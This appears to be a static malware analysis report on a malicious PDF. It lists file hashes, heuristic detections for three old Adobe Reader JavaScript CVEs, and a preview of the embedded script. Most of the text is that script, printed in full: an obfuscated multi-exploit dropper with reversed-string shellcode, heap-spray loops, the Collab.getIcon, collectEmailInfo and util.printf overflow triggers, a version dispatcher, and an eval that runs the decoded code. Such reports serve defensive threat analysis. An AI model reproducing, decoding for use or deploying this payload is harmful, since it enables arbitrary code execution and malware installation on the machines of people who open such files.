Malicious PDF — malware analysis report

Static analysis result for SHA-256 3246591b9ae392ea…

MALICIOUS

PDF

6.4 KB Created: 2010-05-09 01:15:50 +04:00 First seen: 2026-05-10
MD5: 40bdb0c40dcd8c72af7b6247b1d521c7 SHA-1: ef8dd1523836582ab4fda74b30477199235d23fe SHA-256: 3246591b9ae392ea0adcdb0e403de758d9ebf7f1954a9a5ac0926ac5379517a9
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of PDF_EVAL and the 'eval()' call within the JavaScript stream suggests that the script is obfuscated and designed to execute arbitrary code. This script likely acts as a downloader for a second-stage payload. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9967

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after nested-decoder de-obfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after nested-decoder de-obfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after nested-decoder de-obfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    Result = Result + VP52.split('').reverse().join('');
var Result1 = Result.replace(/Q#/g, "\"");var Result2 = Result1.replace(/T__T/g, "\n"); eval (Result2);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x162 12211 bytes
SHA-256: 138b016ff2015cdf74d44c93bb8c2c37bd2332a8d015bfcaa5a934e4d58ac18f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var VP0 = " noitcnufT__TT__TT__TT__T}T__TT__T;psray nruterT__TT__T;)2/nel,0(gnirtsbus.psray=psrayT__TT__T};psray=+psray{  T__TT__T)nel<2*htgnel.psray(elihwT__TT__T{T__TT__T)nel,psray(ti_xif noitcnufT__TT__T0.1.1//T__TT__T";
 var VP1 = "13u%bbf1u%bd66u%9c13u%3013u%0c0bu%e513u%be71u%#Q(epacsenu=ayhtepvv rav  T__TT__T;)(yarrA wen=yrra rav  T__TT__T{  T__TT__T)nocIteg.balloC.cod.ppa(fiT__TT__T{T__TT__T)(nociteg_balloc";
 var VP2 = "2fu%3030u%0f30u%6fbeu%d5a8u%fe0cu%dc67u%70a3u%084cu%7cb0u%4008u%30a8u%2030u%be92u%3515u%30eau%2030u%ae38u%ffffu%4effu%6e8eu%8fffu%9d57u%1493u%40e0u%20";
 var VP3 = "35u%cf23u%cfcfu%be1bu%a81cu%95a5u%6572u%05cfu%2515u%a80eu%d6a6u%47a6u%35b6u%bfb0u%772cu%d666u%bb20u%2cf0u%cf08u%cfcfu%be7du%e772u%1ce8u%b1a8u%082cu%a8";
 var VP4 = "35u%353bu%3b18u%3c35u%5e23u%b7a8u%d266u%b626u%6635u%3c3bu%f423u%a864u%6534u%b4cfu%cf67u%f505u%e8e5u%3535u%3535u%233cu%64b4u%f3a8u%cf65u%3535u%3535u%3c";
 var VP5 = "88u%cf65u%67f4u%35cfu%54b0u%35e8u%7020u%56bbu%7005u%e8d5u%a85eu%a27cu%f020u%56bbu%233cu%6435u%b2a8u%cf65u%6775u%55a8u%b135u%2c3eu%3b34u%3535u%333cu%10";
 var VP6 = "40u%a84eu%0f9au%233cu%a84eu%a2fcu%2b75u%23acu%6533u%35cfu%cf67u%8e3du%65f2u%35cfu%cf67u%b035u%e854u%5770u%35cfu%5470u%35e8u%233cu%7751u%683cu%5470u%74";
 var VP7 = "3cu%3433u%7688u%233cu%b355u%cf65u%6534u%b4cfu%cf67u%3005u%3030u%e967u%35e8u%3535u%3c35u%7323u%cf65u%7535u%cf67u%3535u%3535u%3535u%5545u%4774u%74e8u%5c";
 var VP8 = "a4u%8e0eu%3220u%8895u%94b1u%9e88u%b720u%7560u%f388u%8864u%7272u%88f6u%0c36u%f3d5u%8834u%34f7u%73e8u%8834u%8ea0u%34b0u%ea88u%37f1u%f088u%8834u%b7f0u%68";
 var VP9 = "72u%bea8u%8820u%8870u%208eu%95f1u%8488u%88f0u%8e56u%7220u%8895u%672eu%72b2u%83f7u%8e7fu%204cu%cce0u%402cu%3c77u%fa78u%3cffu%cf23u%de23u%8820u%8873u%73";
 var VP10 = "30u%3030u%3030u%0ec5u%8884u%c0d7u%a4eeu%be45u%a274u%1e07u%d7bdu%0b51u%17dfu%efc0u%8f49u%90beu%c1a7u%30f7u%6a41u%d0feu%d8d4u%cfcfu%39dfu%0cbeu%f126u%74";
 var VP11 = "30u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%30";
 var VP12 = "77u%0777u%77c5u%4666u%77c2u%c607u%f6b6u%0626u%f6c6u%c2c2u%3793u%7777u%30b6u%b766u%d266u%2626u%c226u%0777u%b6c6u%26f6u%c606u%c2f6u%93c2u%7737u%b677u%30";
 var VP13 = "ti_xif=psray  T__TT__T;)#Q0909u%0909u%#Q(epacsenu=psray rav  T__TT__T;)83x0+NC005qWh(-000004x0=nel rav  T__TT__T;2*htgnel.ayhtepvv=NC005qWh rav  T__TT__T;)#Q3000u%b637u%d237u%26";
 var VP14 = "};ayhtepvv+psray=]y69DQcqv[yrra{    T__TT__T)++y69DQcqv;f56KjA5p<y69DQcqv;0=y69DQcqv rav(rof  T__TT__T;000004x0/)000004x0-c0c0c0c0x0(=f56KjA5p rav  T__TT__T;)nel,psray(";
 var VP15 = "NhMUt(nocIteg.balloC.cod.ppa;wGbNhMUt+#Q.N#Q=wGbNhMUt  T__TT__T};wGbNhMUt=+wGbNhMUt{    T__TT__T)0004x0<htgnel.wGbNhMUt(elihw  T__TT__T;)#Q90%#Q(epacsenu=wGbNhMUt rav  T__TT__TT__TT__T";
 var VP16 = "fu%6e8eu%8fffu%9d57u%1493u%40e0u%2013u%bbf1u%bd66u%9c13u%3013u%0c0bu%e513u%be71u%#Q(epacsenu=edocllehs ravT__TT__T{T__TT__T)(liame_balloc noitcnufT__TT__TT__TT__T}T__TT__T}  T__TT__T;)wGb";
 var VP17 = "fu%be7du%e772u%1ce8u%b1a8u%082cu%a82fu%3030u%0f30u%6fbeu%d5a8u%fe0cu%dc67u%70a3u%084cu%7cb0u%4008u%30a8u%2030u%be92u%3515u%30eau%2030u%ae38u%ffffu%4ef";
 var VP18 = "cu%64b4u%f3a8u%cf65u%3535u%3535u%3c35u%cf23u%cfcfu%be1bu%a81cu%95a5u%6572u%05cfu%2515u%a80eu%d6a6u%47a6u%35b6u%bfb0u%772cu%d666u%bb20u%2cf0u%cf08u%cfc";
 var VP19 = "8u%b135u%2c3eu%3b34u%3535u%333cu%1035u%353bu%3b18u%3c35u%5e23u%b7a8u%d266u%b626u%6635u%3c3bu%f423u%a864u%6534u%b4cfu%cf67u%f505u%e8e5u%3535u%3535u%233";
 var VP20 = "0u%35e8u%233cu%7751u%683cu%5470u%7488u%cf65u%67f4u%35cfu%54b0u%35e8u%7020u%56bbu%7005u%e8d5u%a85eu%a27cu%f020u%56bbu%233cu%6435u%b2a8u%cf65u%6775u%55a";
 var VP21 = "5u%3535u%3535u%5545u%4774u%74e8u%5c40u%a84eu%0f9au%233cu%a84eu%a2fcu%2b75u%23acu%6533u%35cfu%cf67u%8e3du%65f2u%35cfu%cf67u%b035u%e854u%5770u%35cfu%547";
 var VP22 = "0u%ea88u%37f1u%f088u%8834u%b7f0u%683cu%3433u%7688u%233cu%b355u%cf65u%6534u%b4cfu%cf67u%3005u%3030u%e967u%35e8u%3535u%3c35u%7323u%cf65u%7535u%cf67u%353";
 var VP23 = "8u%3cffu%cf23u%de23u%8820u%8873u%73a4u%8e0eu%3220u%8895u%94b1u%9e88u%b720u%7560u%f388u%8864u%7272u%88f6u%0c36u%f3d5u%8834u%34f7u%73e8u%8834u%8ea0u%34b";
 var VP24 = "eu%d8d4u%cfcfu%39dfu%0cbeu%f126u%7472u%bea8u%8820u%8870u%208eu%95f1u%8488u%88f0u%8e56u%7220u%8895u%672eu%72b2u%83f7u%8e7fu%204cu%cce0u%402cu%3c77u%fa7";
 var VP25 = "0u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%0ec5u%8884u%c0d7u%a4eeu%be45u%a274u%1e07u%d7bdu%0b51u%17dfu%efc0u%8f49u%90beu%c1a7u%30f7u%6a41u%d0f";
 var VP26 = "6u%c606u%c2f6u%93c2u%7737u%b677u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%303";
 var VP27 = "ra_mem ravT__TT__T;)#Q3000u%b637u%d237u%2677u%0777u%77c5u%4666u%77c2u%c607u%f6b6u%0626u%f6c6u%c2c2u%3793u%7777u%30b6u%b766u%d266u%2626u%c226u%0777u%b6c6u%26f";
 var VP28 = "909u%0909u%#Q(epacsenu=psray ravT__TT__T;)83x0+nel_cs(-rdda=nel ravT__TT__T;2*htgnel.edocllehs=nel_cs ravT__TT__T;000004x0=rdda ravT__TT__T;c0c0c0c0x0=cc ravT__TT__T;)(yarrA wen=yar";
 var VP29 = "frevo ravT__TT__T};edocllehs+psray=]tnuoc[yarra_mem{	T__TT__T)++tnuoc;2tnuoc<tnuoc;0=tnuoc rav(rofT__TT__T;rdda/)000004x0-cc(=2tnuoc ravT__TT__T;)nel,psray(ti_xif=psrayT__TT__T;)#Q0";
 var VP30 = ";)}wolfrevo:gsm,#Q#Q:jbus{(ofnIliamEtcelloc.balloC=erotSballoc.sihtT__TT__T};wolfrevo=+wolfrevo{	T__TT__T)25944<htgnel.wolfrevo(elihwT__TT__T;)#Qc0c0u%c0c0u%#Q(epacsenu=wol";
 var VP31 = "38u%ffffu%4effu%6e8eu%8fffu%9d57u%1493u%40e0u%2013u%bbf1u%bd66u%9c13u%3013u%0c0bu%e513u%be71u%#Q(epacsenu=daolyap ravT__TT__T{T__TT__T)(ftnirp_litu noitcnufT__TT__TT__TT__T}T__TT__T";
 var VP32 = "f0u%cf08u%cfcfu%be7du%e772u%1ce8u%b1a8u%082cu%a82fu%3030u%0f30u%6fbeu%d5a8u%fe0cu%dc67u%70a3u%084cu%7cb0u%4008u%30a8u%2030u%be92u%3515u%30eau%2030u%ae";
 var VP33 = "35u%3535u%233cu%64b4u%f3a8u%cf65u%3535u%3535u%3c35u%cf23u%cfcfu%be1bu%a81cu%95a5u%6572u%05cfu%2515u%a80eu%d6a6u%47a6u%35b6u%bfb0u%772cu%d666u%bb20u%2c";
 var VP34 = "65u%6775u%55a8u%b135u%2c3eu%3b34u%3535u%333cu%1035u%353bu%3b18u%3c35u%5e23u%b7a8u%d266u%b626u%6635u%3c3bu%f423u%a864u%6534u%b4cfu%cf67u%f505u%e8e5u%35";
 var VP35 = "70u%35cfu%5470u%35e8u%233cu%7751u%683cu%5470u%7488u%cf65u%67f4u%35cfu%54b0u%35e8u%7020u%56bbu%7005u%e8d5u%a85eu%a27cu%f020u%56bbu%233cu%6435u%b2a8u%cf";
 var VP36 = "35u%cf67u%3535u%3535u%3535u%5545u%4774u%74e8u%5c40u%a84eu%0f9au%233cu%a84eu%a2fcu%2b75u%23acu%6533u%35cfu%cf67u%8e3du%65f2u%35cfu%cf67u%b035u%e854u%57";
 var VP37 = "34u%8ea0u%34b0u%ea88u%37f1u%f088u%8834u%b7f0u%683cu%3433u%7688u%233cu%b355u%cf65u%6534u%b4cfu%cf67u%3005u%3030u%e967u%35e8u%3535u%3c35u%7323u%cf65u%75";
 var VP38 = "2cu%3c77u%fa78u%3cffu%cf23u%de23u%8820u%8873u%73a4u%8e0eu%3220u%8895u%94b1u%9e88u%b720u%7560u%f388u%8864u%7272u%88f6u%0c36u%f3d5u%8834u%34f7u%73e8u%88";
 var VP39 = "f7u%6a41u%d0feu%d8d4u%cfcfu%39dfu%0cbeu%f126u%7472u%bea8u%8820u%8870u%208eu%95f1u%8488u%88f0u%8e56u%7220u%8895u%672eu%72b2u%83f7u%8e7fu%204cu%cce0u%40";
 var VP40 = "30u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%0ec5u%8884u%c0d7u%a4eeu%be45u%a274u%1e07u%d7bdu%0b51u%17dfu%efc0u%8f49u%90beu%c1a7u%30";
 var VP41 = "77u%b6c6u%26f6u%c606u%c2f6u%93c2u%7737u%b677u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%30";
 var VP42 = "0A0u%#Q(epacsenu=pon ravT__TT__T;)#Q3000u%b637u%d237u%2677u%0777u%77c5u%4666u%77c2u%c607u%f6b6u%0626u%f6c6u%c2c2u%3793u%7777u%30b6u%b766u%d266u%2626u%c226u%07";
 var VP43 = ";htgnel.kcolbpaeh+ezisredaeh=yarps ravT__TT__T;02=ezisredaeh ravT__TT__T;)#QA0A0u%A0A0u%#Q(epacsenu=kcolbgib ravT__TT__T;daolyap+pon=kcolbpaeh ravT__TT__T;)#QA0A0u%A0A0u%A0A0u%A";
 var VP44 = "gnel.kcolbgib,0(gnirtsbus.kcolbgib=kcolb ravT__TT__T;)yarps,0(gnirtsbus.kcolbgib=kcolbllif ravT__TT__TT__TT__T};kcolbgib=+kcolbgib{     T__TT__T)yarps<htgnel.kcolbgib(elihwT__TT__T";
 var VP45 = "rra_mem{     T__TT__T)++i;0041<i;0=i rav(rofT__TT__T;)(yarrA wen=yarra_mem ravT__TT__T};kcolbllif+kcolb+kcolb=kcolb{     T__TT__T)00004x0<yarps+htgnel.kcolb(elihwT__TT__T;)yarps-ht";
 var VP46 = "888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888899999999999999999921=mun ravT__TT__T};kcolbpaeh+kcolb=]i[ya";
 var VP47 = "888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888";
 var VP48 = "noisrev=noisrevT__TT__T;)(gnirtSot.noisreVreweiv.ppa=noisrev ravT__TT__T{T__TT__T)(eloHtceleS noitcnufT__TT__TT__TT__T}T__TT__T;)mun,#Qf00054%#Q(ftnirp.lituT__TT__T;88888888888888888888888888888";
 var VP49 = "ra_noisrav(( && )8==]0[yarra_noisrav(		(fiT__TT__TT__TT__T;))2(tArahc.noisrev,)1(tArahc.noisrev,)0(tArahc.noisrev(yarrA wen=yarra_noisrav ravT__TT__T;)'',g/D\/(ecalper.";
 var VP50 = "]0[yarra_noisrav(	(fiT__TT__TT__TT__T};)(liame_balloc{	T__TT__T)8<]0[yarra_noisrav	(fiT__TT__TT__TT__T};)(ftnirp_litu{	T__TT__T)	 ))3<]2[yarra_noisrav && 1==]1[yarra_noisrav(||)0==]1[yar";
 var VP51 = "T__T}T__TT__T������������ �� ���� ������� ,������� �������� ������� ���  ;)(dtnirp//T__TT__TT__TT__T};)(nociteg_balloc{	T__TT__T))1<]1[yarra_noisrav && 9==]0[yarra_noisrav(||)9<";
 var VP52 = "T__TT__TT__TT__T;)(eloHtceleST__TT__TT__T";


  var Result = "";
Result = Result + VP0.split('').reverse().join(''); 
Result = Result + VP1.split('').reverse().join(''); 
Result = Result + VP2.split('').reverse().join(''); 
Result = Result + VP3.split('').reverse().join(''); 
Result = Result + VP4.split('').reverse().join(''); 
Result = Result + VP5.split('').reverse().join(''); 
Result = Result + VP6.split('').reverse().join(''); 
Result = Result + VP7.split('').reverse().join(''); 
Result = Result + VP8.split('').reverse().join(''); 
Result = Result + VP9.split('').reverse().join(''); 
Result = Result + VP10.split('').reverse().join(''); 
Result = Result + VP11.split('').reverse().join(''); 
Result = Result + VP12.split('').reverse().join(''); 
Result = Result + VP13.split('').reverse().join(''); 
Result = Result + VP14.split('').reverse().join(''); 
Result = Result + VP15.split('').reverse().join(''); 
Result = Result + VP16.split('').reverse().join(''); 
Result = Result + VP17.split('').reverse().join(''); 
Result = Result + VP18.split('').reverse().join(''); 
Result = Result + VP19.split('').reverse().join(''); 
Result = Result + VP20.split('').reverse().join(''); 
Result = Result + VP21.split('').reverse().join(''); 
Result = Result + VP22.split('').reverse().join(''); 
Result = Result + VP23.split('').reverse().join(''); 
Result = Result + VP24.split('').reverse().join(''); 
Result = Result + VP25.split('').reverse().join(''); 
Result = Result + VP26.split('').reverse().join(''); 
Result = Result + VP27.split('').reverse().join(''); 
Result = Result + VP28.split('').reverse().join(''); 
Result = Result + VP29.split('').reverse().join(''); 
Result = Result + VP30.split('').reverse().join(''); 
Result = Result + VP31.split('').reverse().join(''); 
Result = Result + VP32.split('').reverse().join(''); 
Result = Result + VP33.split('').reverse().join(''); 
Result = Result + VP34.split('').reverse().join(''); 
Result = Result + VP35.split('').reverse().join(''); 
Result = Result + VP36.split('').reverse().join(''); 
Result = Result + VP37.split('').reverse().join(''); 
Result = Result + VP38.split('').reverse().join(''); 
Result = Result + VP39.split('').reverse().join(''); 
Result = Result + VP40.split('').reverse().join(''); 
Result = Result + VP41.split('').reverse().join(''); 
Result = Result + VP42.split('').reverse().join(''); 
Result = Result + VP43.split('').reverse().join(''); 
Result = Result + VP44.split('').reverse().join(''); 
Result = Result + VP45.split('').reverse().join(''); 
Result = Result + VP46.split('').reverse().join(''); 
Result = Result + VP47.split('').reverse().join(''); 
Result = Result + VP48.split('').reverse().join(''); 
Result = Result + VP49.split('').reverse().join(''); 
Result = Result + VP50.split('').reverse().join(''); 
Result = Result + VP51.split('').reverse().join(''); 
Result = Result + VP52.split('').reverse().join(''); 
var Result1 = Result.replace(/Q#/g, "\"");var Result2 = Result1.replace(/T__T/g, "\n"); eval (Result2);

Open this report in the interactive analyzer, or submit your own file for analysis.